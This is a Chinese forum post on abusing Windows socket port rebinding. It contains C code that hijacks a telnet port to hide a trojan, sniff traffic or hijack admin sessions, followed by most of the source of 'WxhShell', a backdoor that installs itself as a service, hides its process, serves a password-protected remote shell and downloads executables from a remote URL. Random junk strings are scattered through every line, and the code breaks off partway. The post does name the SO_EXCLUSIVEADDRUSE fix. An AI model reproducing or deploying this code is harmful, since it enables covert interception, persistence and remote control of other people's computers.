社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18616阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~x(|'`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6h5g!GQD  
muXP5MO  
  saddr.sin_family = AF_INET; \mLEwNhRY  
ShL!7y*rT{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H.|I|XRG/  
9O&m7]3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EGI$=Y  
e46`"}r  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LhKbZ oPp  
nHeJ20  
  这意味着什么?意味着可以进行如下的攻击: Lk]|;F-2i  
u~*A-X [  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y$XzZ>VW  
9=$ pV==  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Uu8ayN j  
o|d:rp!^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HD#>K 7  
j~Fd8]@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h-"q <eY"  
(PH7nW7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %6@)fRw  
7L/LlO/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =D0d+b6  
%S"z9@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 e;~(7/1  
Y*pXbztP  
  #include %CnVK1u!  
  #include vh&~Y].W Y  
  #include H0tu3Pqk  
  #include    \C~6 '  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4 y}z+4  
  int main() >0:3CpO*  
  { bxPa|s?  
  WORD wVersionRequested; }@6yROy.  
  DWORD ret; !Z>,dN  
  WSADATA wsaData; J V}7c$_  
  BOOL val; 5l@} 1n  
  SOCKADDR_IN saddr; 9$U>St  
  SOCKADDR_IN scaddr; #t1? *4.p  
  int err; R`$jF\"`r  
  SOCKET s; h&i(Kfv*  
  SOCKET sc; b(mZ/2,B  
  int caddsize; KXx;~HtO  
  HANDLE mt; w(_:+-rqQ<  
  DWORD tid;   -">Tvi4  
  wVersionRequested = MAKEWORD( 2, 2 ); s \3]0n9  
  err = WSAStartup( wVersionRequested, &wsaData ); f%_$RdU  
  if ( err != 0 ) {  8zRw\]?  
  printf("error!WSAStartup failed!\n");  :Kyr}-  
  return -1; nTsV>lQY,  
  } >Giw\|:f(  
  saddr.sin_family = AF_INET; :T PG~`k(  
   Y:+:>[F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  h8p{  
COW lsca  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H/[(T%]o  
  saddr.sin_port = htons(23); S.iUiS"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kz1Z K  
  { wp8-(E^  
  printf("error!socket failed!\n"); X`v6gv5qj  
  return -1; :-+][ [  
  } :T6zT3(")D  
  val = TRUE; t3}_mJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S+6YD0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X_JC1  
  { c uAp,!  
  printf("error!setsockopt failed!\n"); d_:tiHw$  
  return -1; Smy J@.L"  
  }  `m_f i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Z$Ps_Ik  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w U]8hkl?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *WzPxQ_  
ZFX}=?+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T|oDJ]\J  
  { ]+^4Yq>2  
  ret=GetLastError(); PMQ31f/zf  
  printf("error!bind failed!\n"); ,-$%>Uv   
  return -1; {az LtTh  
  } } -hH2  
  listen(s,2); h9c7P@29  
  while(1) MS|1Q@S9  
  { Y'6P ~C;v  
  caddsize = sizeof(scaddr); '+^XL6$L  
  //接受连接请求 =`(\]t"I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); VJgf, 5 (N  
  if(sc!=INVALID_SOCKET) nM$-L.dG  
  { CS"k0V44}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r_a1oO:  
  if(mt==NULL) gd31ds!G  
  { -Xgup,}?  
  printf("Thread Creat Failed!\n"); Tc;BE  
  break; OJcI0(G  
  } k|_ >I  
  } ON_G D"  
  CloseHandle(mt); 7,9zj1<  
  } ol4!#4Y&{  
  closesocket(s); 7 Uu  
  WSACleanup(); R&R{I/;i*.  
  return 0; T:j!a{_|  
  }   CBx5:}t  
  DWORD WINAPI ClientThread(LPVOID lpParam) ORV'dr  
  { ]7dal [i  
  SOCKET ss = (SOCKET)lpParam; ZcN%F)htm  
  SOCKET sc; Q F_K^(  
  unsigned char buf[4096]; 1\,wV,  
  SOCKADDR_IN saddr; ^yF2xJ)9-  
  long num; na4^RPtN\e  
  DWORD val; bzMs\rj\  
  DWORD ret; }5;3c%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T^ah'WmNw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p7)b@,  
  saddr.sin_family = AF_INET; oU~e|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fNi_C"<  
  saddr.sin_port = htons(23); Uefw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VrRBwvp-K  
  { ] yXrD`J!  
  printf("error!socket failed!\n"); [@t 6,g  
  return -1; /`VtW$9-  
  } le`_    
  val = 100; Ed~2Qr\65  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !;C *Wsp}  
  { kIUb`b>B  
  ret = GetLastError(); & 5YI!; q,  
  return -1; uO`YA]  
  } Z,Tv8;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D3%`vq u&  
  { 7_#i,|]58  
  ret = GetLastError(); ]hkway  
  return -1; Aa/lKiiz  
  } R'r^v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |LDo<pE*V4  
  { nK9A=H'Hc  
  printf("error!socket connect failed!\n"); X[c8P7  
  closesocket(sc); KuO5`  
  closesocket(ss); PUViTb  
  return -1; _7zER6#}  
  } (yel  
  while(1) O8:,XTAN  
  { =#<TE~n2(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3l@={Ts  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~m56t5+uw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zZ=.riK  
  num = recv(ss,buf,4096,0); >m{)shBX  
  if(num>0) +H L]t'UEg  
  send(sc,buf,num,0); `cr.C|RT:  
  else if(num==0) v2Bks 2  
  break; OC]_b36v  
  num = recv(sc,buf,4096,0); ^25[%aJI  
  if(num>0) ~T[m{8uh  
  send(ss,buf,num,0); GZ]; U] _  
  else if(num==0) nNFZ77lg  
  break; $fY4amX6Z  
  } RSY{IY  
  closesocket(ss); HJ*W3Mg  
  closesocket(sc); ~WJEH#  
  return 0 ; vF=d`T<  
  } %!HmtpS  
`1KZ14K  
\~zTc_  
========================================================== U:E:"  
:R<n{%~  
下边附上一个代码,,WXhSHELL 4PEJ}B W  
KutR l$,  
========================================================== C/+8lA6NV  
3D k W  
#include "stdafx.h" INrUvD/*  
9frS!AQ  
#include <stdio.h> c)M_&?J!5  
#include <string.h> SD6xi\8  
#include <windows.h> xU^Flw,4  
#include <winsock2.h> @M"h_Z1#  
#include <winsvc.h> 928szUo:  
#include <urlmon.h> @`?"#^jT  
x 1$tS#lS  
#pragma comment (lib, "Ws2_32.lib") G)?O!(_  
#pragma comment (lib, "urlmon.lib") F#Oqa^$(  
!+T+BFw.  
#define MAX_USER   100 // 最大客户端连接数 ZSMOq4Y 9  
#define BUF_SOCK   200 // sock buffer /cr.}D2O  
#define KEY_BUFF   255 // 输入 buffer 59p'Ega.  
a$FELlMv  
#define REBOOT     0   // 重启 -[x^z5Ee`  
#define SHUTDOWN   1   // 关机 R{+ Rvk  
;/SM^&Y  
#define DEF_PORT   5000 // 监听端口 /"Om-DK%  
1z$;>+g<  
#define REG_LEN     16   // 注册表键长度 {JzX`Z30l  
#define SVC_LEN     80   // NT服务名长度 z$`=7 afp  
~-6Kl3Y  
// 从dll定义API 6pQ#Zg()vp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o_EXbS]C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |]]Xee]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); . dVo[m;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w-|i8%X  
t4UKG&[a  
// wxhshell配置信息 M>0=A  
struct WSCFG { ^C@uP9g  
  int ws_port;         // 监听端口 r+>E`GGQ  
  char ws_passstr[REG_LEN]; // 口令 U^~K-!0  
  int ws_autoins;       // 安装标记, 1=yes 0=no SA{A E9y  
  char ws_regname[REG_LEN]; // 注册表键名 5 8p_b  
  char ws_svcname[REG_LEN]; // 服务名 )AqM?FE4R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /%rbXrR4w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]ODC+q1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IJ o`O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =6j  5,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <i~ ( 8F\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0:h;ots'  
C%"h1zWE:  
}; bP Er+?fu  
/^#k /z  
// default Wxhshell configuration .?_wcp=  
struct WSCFG wscfg={DEF_PORT, JXGIVH?Rpu  
    "xuhuanlingzhe", rc*&K#? B  
    1, (Y'rEc#H&z  
    "Wxhshell", Q{H88g^=J  
    "Wxhshell", ~5`rv1$  
            "WxhShell Service", Yiu)0\ o  
    "Wrsky Windows CmdShell Service", R?>a UFM  
    "Please Input Your Password: ", u|WX?@\  
  1, ;MCv  
  "http://www.wrsky.com/wxhshell.exe", x7l)i!/$  
  "Wxhshell.exe" vf~q%+UqK  
    }; C\.?3  
FD#?pVyPn^  
// 消息定义模块 +sE81B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >?b/_O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =@binTC4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \H<'W"  
char *msg_ws_ext="\n\rExit."; &EXql']  
char *msg_ws_end="\n\rQuit."; gUL`)t\}*  
char *msg_ws_boot="\n\rReboot..."; rd0BvQ9TK  
char *msg_ws_poff="\n\rShutdown..."; 6}x^ T)R  
char *msg_ws_down="\n\rSave to "; }^?dK3~q  
j"_V+)SD  
char *msg_ws_err="\n\rErr!"; 5xLuuKG  
char *msg_ws_ok="\n\rOK!"; 7SXi#{  
(~}yt.7K  
char ExeFile[MAX_PATH]; qp  
int nUser = 0; d~S.PRg=  
HANDLE handles[MAX_USER]; &>@nW!n u  
int OsIsNt; HG=!#-$9  
%I(N  
SERVICE_STATUS       serviceStatus; M)I&^mm39  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WsJ3zZc  
YqR MVWcnk  
// 函数声明 \ zhT1#O  
int Install(void); -:a 9'dT  
int Uninstall(void); 4zpprh+`K  
int DownloadFile(char *sURL, SOCKET wsh); f Nm Sx  
int Boot(int flag); /Kwo^Q{  
void HideProc(void); SG8|xoL  
int GetOsVer(void); HP. j.  
int Wxhshell(SOCKET wsl); 1U@qR U  
void TalkWithClient(void *cs); K}`.?6O  
int CmdShell(SOCKET sock); &Zd{ElM  
int StartFromService(void); Q++lgVh)E  
int StartWxhshell(LPSTR lpCmdLine); zg)Z2?K|;u  
!ygh`]6V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -7'>Rw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ztgSd8GGE  
 Cj_cu  
// 数据结构和表定义 9d#-;qV  
SERVICE_TABLE_ENTRY DispatchTable[] = '2uQ  
{ IA$:r@QNx8  
{wscfg.ws_svcname, NTServiceMain}, R\A5f\L9  
{NULL, NULL} Ct|iZLh`j  
}; <3O>  
!j%vUe;t  
// 自我安装 MHI0>QsI  
int Install(void) >e=tem~/  
{ g>/,},jv[x  
  char svExeFile[MAX_PATH]; TN.mNl%  
  HKEY key; (t>BO`,  
  strcpy(svExeFile,ExeFile); SEIGs_^'\  
p r(:99~3  
// 如果是win9x系统,修改注册表设为自启动 ~U~KUL|  
if(!OsIsNt) { .N5}JUj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jq<&`6hn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;pBSGr 9  
  RegCloseKey(key); vtCt6M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [,8@oM#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -% 5*c61  
  RegCloseKey(key); D;.-e  
  return 0; ou6yi; l%  
    } &Jk0SUk MP  
  } xl5mI~n_~  
} ;} Ty b  
else { 3-lJ]7OT  
52C>f6w  
// 如果是NT以上系统,安装为系统服务 .,o=#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?`u Y*+u  
if (schSCManager!=0) i"0^Gr  
{ '.c [7zL  
  SC_HANDLE schService = CreateService *6df|q  
  ( =v:vc~G6  
  schSCManager, J)x-Yhe  
  wscfg.ws_svcname, c/^} =t(  
  wscfg.ws_svcdisp, L1VUfEG-  
  SERVICE_ALL_ACCESS, Rd&2mL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vYKKv%LE  
  SERVICE_AUTO_START, PL@hsZty~c  
  SERVICE_ERROR_NORMAL, ;8'hvc3i$  
  svExeFile, !0zbWB9  
  NULL, GXr9J rs.e  
  NULL, \5_+6  
  NULL, #@w8wCj  
  NULL, 3yszf Wr  
  NULL "4<RMYQ  
  ); g1@zk $  
  if (schService!=0) dPc*!xrq  
  { f<=<:+  
  CloseServiceHandle(schService); MT [V1I{LV  
  CloseServiceHandle(schSCManager); )iNM jg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ONH!ms(kb  
  strcat(svExeFile,wscfg.ws_svcname); aqQ YU5l4~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B: \\aOEj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xdFm-_\-  
  RegCloseKey(key); s )POtJ<  
  return 0; Ynl^Z  
    } ^ |z|kc  
  } EcxPbRg  
  CloseServiceHandle(schSCManager); aHNR0L3$}{  
} j1Fy'os"!  
} r{!]` '8  
]JVs/  
return 1; (dd+wx't  
} d&BocJ  
lr'h  
// 自我卸载 Se.\wkl#Y  
int Uninstall(void) k |k  
{ |`+kZ-M*  
  HKEY key; )r3}9J  
4nK\gXz19  
if(!OsIsNt) { ,m;S-Im_Xr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IppzQ0'=y1  
  RegDeleteValue(key,wscfg.ws_regname); }TY}sr  
  RegCloseKey(key); L.ScC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~b}a|K  
  RegDeleteValue(key,wscfg.ws_regname); NRN3*YGo  
  RegCloseKey(key); 9>yLSM,!rS  
  return 0; $M{MOehZ  
  } +;^Ux W  
} AFE6@/'  
} [EI~/#;  
else { :)o 4fOJ8  
KJn@2x6LP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Dk8 O*B   
if (schSCManager!=0) cyrVz4_a  
{ h sG~xRA\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F*m^AFjs  
  if (schService!=0) w^OV;gp  
  { 1N6.r:wg)%  
  if(DeleteService(schService)!=0) { %IrR+f+H  
  CloseServiceHandle(schService); QZ?#ixvJ  
  CloseServiceHandle(schSCManager); 2;Vss<hR4A  
  return 0; l r80RL'_  
  } c%y(Z5  
  CloseServiceHandle(schService); x\PZ.o  
  } ).U\,@[A{  
  CloseServiceHandle(schSCManager); mApn[)?tv  
} FvYgpbEZ  
} [.J&@96,b  
 lS@0 $  
return 1; \ #<.&`8B  
} <;Q1u,Mc  
W>f q 9  
// 从指定url下载文件 !d nCrR  
int DownloadFile(char *sURL, SOCKET wsh) z=mH\!  
{ 21NGsG  
  HRESULT hr; $HgBzZ7A2  
char seps[]= "/"; SnIH6k0T_  
char *token; ],`xd_=]=  
char *file; U*sjv6*T  
char myURL[MAX_PATH]; _y>mmE   
char myFILE[MAX_PATH]; ] V|hDU=t  
MWdev.m:Z  
strcpy(myURL,sURL); R[_Q}W'HG  
  token=strtok(myURL,seps); #IJm*_J<  
  while(token!=NULL) S]!s)q-- z  
  { 1oKF-";u(  
    file=token; y yPQ^{zD  
  token=strtok(NULL,seps); f( M$m,d  
  } |Gp!#D0b  
?^Gi;d5  
GetCurrentDirectory(MAX_PATH,myFILE); k+9*7y8w  
strcat(myFILE, "\\"); ->Z9j(JU  
strcat(myFILE, file); \c ')9g@  
  send(wsh,myFILE,strlen(myFILE),0); MzEeDN  
send(wsh,"...",3,0); F}1h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LZ#=Ks  
  if(hr==S_OK) ;R5@]Hg6q  
return 0; B":9C'tip  
else jY;T:C-T  
return 1; Eep~3U  
m^k$Z0  
} k8KRVXgx  
cI Sugk~  
// 系统电源模块 }K .Rv(m  
int Boot(int flag) .7 K)'  
{ {c  : 7:  
  HANDLE hToken; ~];r{IU  
  TOKEN_PRIVILEGES tkp; *wk?{ U  
Sp7VH+  
  if(OsIsNt) { ]I,(^Xq3a(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }Q2v~eD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ai7R@~O:_k  
    tkp.PrivilegeCount = 1; z`"*60b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mXYG^}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FR9w0{o  
if(flag==REBOOT) {  =oE(ur  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p< Y-b,&  
  return 0; Ux,?\Vd  
} eOoqH$ i  
else { K`=9"v'f+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >&DC[)28  
  return 0; @T"-%L8PL  
} zRU9Q 2Y  
  } `uKsFX M  
  else { [vGkr" =  
if(flag==REBOOT) { Ypx5:gm|J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZZ>"LH  
  return 0; 57fl<IM  
} kYhV1I  
else { Y\,aJL$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j.&Y'C7GOC  
  return 0; /0swrt.  
} pG6?"*Fz;  
} XS}-@5TI  
l4gF.-.GYF  
return 1; tj? %{L  
} {RGQX"k  
_Sg"|g  
// win9x进程隐藏模块 O#<F"e;$  
void HideProc(void) _1?nLx7n  
{ Kv9$c(~#  
Z0/$XS9|h;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \0W0o5c$  
  if ( hKernel != NULL ) 1{ H=The  
  {  >akC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); { 2%'=v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Pn,>eD*g  
    FreeLibrary(hKernel); )Q 5 x%  
  } g~ii^[W  
J-|&[-Z  
return; 3(Ns1/;?,  
} SiYH@Wma  
?I8r2M]  
// 获取操作系统版本 cL<,]%SkE  
int GetOsVer(void) MQQQaD:v  
{ nC%<BatQ  
  OSVERSIONINFO winfo; VKtlAfXy~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2,Aw 6h;  
  GetVersionEx(&winfo); C hQ] d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ? 'qyI^m@  
  return 1; i&1rf|  
  else : ?}mu1  
  return 0; TCFr-*x  
} '6kD6o_p1  
 ZC%;5O`  
// 客户端句柄模块 {!j)j6(NY  
int Wxhshell(SOCKET wsl) VJ8'T"^Hf  
{ BoQ%QV69%  
  SOCKET wsh; fP[S.7F+No  
  struct sockaddr_in client; VP~(;H5%  
  DWORD myID; d-C%R9  
(Hmm^MV)  
  while(nUser<MAX_USER) cV"Ov@_.k  
{ op@=0d??  
  int nSize=sizeof(client); qw*) R#=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]bAVOKm-  
  if(wsh==INVALID_SOCKET) return 1; ')}itS8  
Q_Br{ `c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^D]J68)#a  
if(handles[nUser]==0) /N({"G'  
  closesocket(wsh); S[gACEZ =  
else W':b6}?  
  nUser++; 1{5t.  
  } *T#^|<.XG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cRMyYdJ o  
jU kxA7 }}  
  return 0; 5*f54g"'  
} {n&n^`Em  
8{]nS8i  
// 关闭 socket o<J6KTLv  
void CloseIt(SOCKET wsh) 6O/c%1VHA3  
{ ,a?oGi  
closesocket(wsh); )7]yzc  
nUser--; nbB*d@"  
ExitThread(0); x N7sFSV@  
} kh{3s:RQfC  
6" <(M@  
// 客户端请求句柄 kt0xR)gU  
void TalkWithClient(void *cs) ahIDKvJ4  
{ UM#.`  
yoJ.[M4q  
  SOCKET wsh=(SOCKET)cs; ZDAW>H<  
  char pwd[SVC_LEN]; Zxd*%v;  
  char cmd[KEY_BUFF]; g1?9ge 1  
char chr[1]; uO-|?{29  
int i,j;  sa&`CEa  
WF-jy7+  
  while (nUser < MAX_USER) { Z:<an+v|5  
Xtfs)"  
if(wscfg.ws_passstr) { DRR)mQBb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \@yJbhk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M| j=J{r  
  //ZeroMemory(pwd,KEY_BUFF); u]7wd3(  
      i=0; (X Oz0.W  
  while(i<SVC_LEN) { S6_:\Q  
1og+(m`BL  
  // 设置超时 #qmsZHd}b  
  fd_set FdRead; 83I 5n&)  
  struct timeval TimeOut; t$~'$kM)<  
  FD_ZERO(&FdRead); TTFs|T6`q  
  FD_SET(wsh,&FdRead); 5y 5Dn!`  
  TimeOut.tv_sec=8; *Ow2,{Nn  
  TimeOut.tv_usec=0; :F@Uq<~(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W1M322]>L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;9WUt,R  
\y:48zd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T)OR HJ&,  
  pwd=chr[0]; : \qapFV  
  if(chr[0]==0xd || chr[0]==0xa) { s3nO"~tM  
  pwd=0; V2`Ud[  
  break; Dw7Xy}I/  
  } QRK\74'uY  
  i++; 0IdA!.|  
    } q^sZP\i,*;  
UOf\pG  
  // 如果是非法用户,关闭 socket ,OubKcNg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1AN$s  
} Osm))Ua(  
ZAU#^bEQB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KK3iui  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W+63B8)4  
;*t#:U*  
while(1) { aA52Li  
(AtyM?*  
  ZeroMemory(cmd,KEY_BUFF); 5qW>#pTFVV  
A9 g%>  
      // 自动支持客户端 telnet标准   xlJWCA*>  
  j=0; _p%n%Oce  
  while(j<KEY_BUFF) { 2vLun   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h*C!b?:"  
  cmd[j]=chr[0]; Vc;[0iB  
  if(chr[0]==0xa || chr[0]==0xd) { :o{,F7(P  
  cmd[j]=0; vi UJ4Pn  
  break; abT,"a\h  
  } [SC6{ |  
  j++; 9QLG:(~;  
    } +Tu?PuT7k  
(^y"'B  
  // 下载文件 ]#^v754X^T  
  if(strstr(cmd,"http://")) { m<-!~ ew  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $8UW^#Bpq  
  if(DownloadFile(cmd,wsh)) QJ4$) Fr(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?@,EGY <  
  else w/ rQOHV{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @}g3\xLiK  
  } fxPg"R!1i  
  else { 3MNM<Ih  
;[R6rVHe{  
    switch(cmd[0]) { j\~,Gtn>Z  
  C&H'?0Y@  
  // 帮助 >bze0`}Z  
  case '?': { _8u TK%|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wy7w zt  
    break; rY45.,qWs  
  } 15Mtlb  
  // 安装 k Alx m{  
  case 'i': { HS{Vohy>  
    if(Install()) ?#=xx.cF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i83~&Q=  
    else 8CZfz!2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fb]+h)on  
    break; 3;BIwb_  
    } 3PU_STSix  
  // 卸载 [5?Dov^j 3  
  case 'r': { d2#NRqgQ  
    if(Uninstall()) cZ:jht  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HbA/~7  
    else \(j*K6#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z eT`kZ  
    break; -9t"$)&  
    } Tt)z[^)%  
  // 显示 wxhshell 所在路径 T{C;bf:Q  
  case 'p': { -t|/g5.w_  
    char svExeFile[MAX_PATH]; @}d;-m~  
    strcpy(svExeFile,"\n\r"); Ia#!T"]@W6  
      strcat(svExeFile,ExeFile); 'l.tV7  
        send(wsh,svExeFile,strlen(svExeFile),0); W34xrm  
    break; H u;"TG  
    } 5U47 5&  
  // 重启 Ie. on)  
  case 'b': { K/ On|C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #!R>`l(S  
    if(Boot(REBOOT)) ct3i^,i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H **tMq  
    else { !t23 _b0  
    closesocket(wsh); Yn ~fnI{  
